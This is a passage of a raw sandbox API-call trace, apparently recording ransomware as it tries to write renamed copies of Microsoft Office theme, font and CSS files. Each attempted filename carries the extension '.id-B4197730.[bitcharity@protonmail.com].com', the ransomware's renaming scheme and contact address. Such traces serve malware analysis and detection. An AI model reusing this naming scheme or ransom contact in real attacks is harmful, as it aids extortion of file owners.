hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.467] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.467] CloseHandle (hObject=0x1158) returned 1 [0263.468] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.468] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.468] CloseHandle (hObject=0x1158) returned 1 [0263.483] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.483] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.483] CloseHandle (hObject=0x1288) returned 1 [0263.484] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.484] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.484] CloseHandle (hObject=0x1288) returned 1 [0263.485] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.485] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.485] CloseHandle (hObject=0x1288) returned 1 [0263.486] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.486] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.486] CloseHandle (hObject=0x1288) returned 1 [0263.487] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.487] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.487] CloseHandle (hObject=0x1288) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.488] CloseHandle (hObject=0x1288) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.488] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.489] CloseHandle (hObject=0x1288) returned 1 [0263.495] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.495] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.495] CloseHandle (hObject=0x1288) returned 1 [0263.497] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.497] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.497] CloseHandle (hObject=0x1288) returned 1 [0263.498] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.498] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.498] CloseHandle (hObject=0x1288) returned 1 [0263.499] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.499] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.499] CloseHandle (hObject=0x1288) returned 1 [0263.500] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.500] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.500] CloseHandle (hObject=0x1288) returned 1 [0263.502] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.502] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.502] CloseHandle (hObject=0x1288) returned 1 [0263.503] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.503] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.503] CloseHandle (hObject=0x1288) returned 1 [0263.504] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.504] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.504] CloseHandle (hObject=0x1288) returned 1 [0263.505] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.505] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.505] CloseHandle (hObject=0x1288) returned 1 [0263.505] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.505] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.506] CloseHandle (hObject=0x1288) returned 1 [0263.506] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.506] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.506] CloseHandle (hObject=0x1288) returned 1 [0263.507] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.507] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.507] CloseHandle (hObject=0x1288) returned 1 [0263.508] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.508] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.509] CloseHandle (hObject=0x1288) returned 1 [0263.510] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.510] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.510] CloseHandle (hObject=0x1288) returned 1 [0263.511] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.511] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.511] CloseHandle (hObject=0x1288) returned 1 [0263.511] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.511] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.512] CloseHandle (hObject=0x1288) returned 1 [0263.512] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.512] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.512] CloseHandle (hObject=0x1288) returned 1 [0263.513] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.513] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.513] CloseHandle (hObject=0x1288) returned 1 [0264.199] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.199] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.200] CloseHandle (hObject=0x11d0) returned 1 [0264.201] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.201] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.202] CloseHandle (hObject=0x11d0) returned 1 [0264.202] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.203] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.203] CloseHandle (hObject=0x11d0) returned 1 [0264.204] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.204] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.204] CloseHandle (hObject=0x11d0) returned 1 [0264.206] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.206] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.206] 